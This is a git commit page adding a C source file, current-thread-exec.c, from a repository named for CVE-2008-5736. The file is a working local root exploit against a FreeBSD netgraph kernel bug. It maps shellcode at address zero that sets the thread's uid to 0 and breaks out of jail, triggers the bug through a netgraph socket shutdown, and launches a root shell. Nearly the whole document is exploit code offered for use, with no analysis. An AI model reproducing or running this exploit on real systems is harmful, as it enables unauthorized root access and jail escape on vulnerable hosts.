summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-02-26 21:16:18 -0500
committerJason A. Donenfeld <Jason@zx2c4.com>2011-02-26 21:16:18 -0500
commit395301fae72bdb466a51f8cc1ea950fe8db8be64 (patch)
treea6ca16f7efc4475a0c466e4796e0e9a25953acbf
parentInstead of going to a fixed place, as Don does, search the entire kernel for the locks that are commonly before allproc. (diff)
downloadCVE-2008-5736-395301fae72bdb466a51f8cc1ea950fe8db8be64.tar.xz
CVE-2008-5736-395301fae72bdb466a51f8cc1ea950fe8db8be64.zip
Since the template search is a little buggy and sometimes causes panic, just do a more traditional UID=0 for the current thread and then execl sh into the process.
-rw-r--r--current-thread-exec.c84
1 files changed, 84 insertions, 0 deletions
diff --git a/current-thread-exec.c b/current-thread-exec.c
new file mode 100644
index 0000000..9f2f7b2
--- /dev/null
+++ b/current-thread-exec.c
@@ -0,0 +1,84 @@
+#define _KERNEL
+#include <sys/param.h>
+#include <sys/mman.h>
+#include <sys/time.h>
+#include <sys/stat.h>
+#include <sys/proc.h>
+#include <sys/ucred.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netgraph/ng_socket.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+
+#define PAGES 1
+
+typedef unsigned long ulong;
+typedef unsigned char uchar;
+
+int
+x(void)
+{
+ struct thread *thread;
+
+ asm(
+ "movl %%fs:0, %0"
+ : "=r"(thread)
+ );
+
+ thread->td_critnest = 0;
+ thread->td_proc->p_ucred->cr_uid = 0;
+ thread->td_proc->p_ucred->cr_prison = NULL;
+
+ return 0;
+
+}
+
+int
+main(int argc, char * argv[])
+{
+ uchar * c;
+ uchar * d;
+ void * v;
+ int s;
+
+ v = mmap(
+ NULL,
+ (PAGES * PAGE_SIZE),
+ PROT_READ | PROT_WRITE | PROT_EXEC,
+ MAP_ANON | MAP_FIXED,
+ -1,
+ 0);
+ if(v == MAP_FAILED) {
+ perror("mmap");
+ return 0;
+ }
+
+ c = v;
+ d = (uchar * )x;
+ while(1) {
+ *c = *d;
+ if(*d == 0xc3)
+ break;
+
+ d++;
+ c++;
+ }
+ *c++ = 0xc3;
+
+ s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
+ if(s < 0) {
+ perror("socket");
+ return 1;
+ }
+
+ shutdown(s, SHUT_RDWR);
+
+ setuid(0);
+ setgid(0);
+ execl("/bin/sh", "sh", NULL);
+
+ return 0;
+}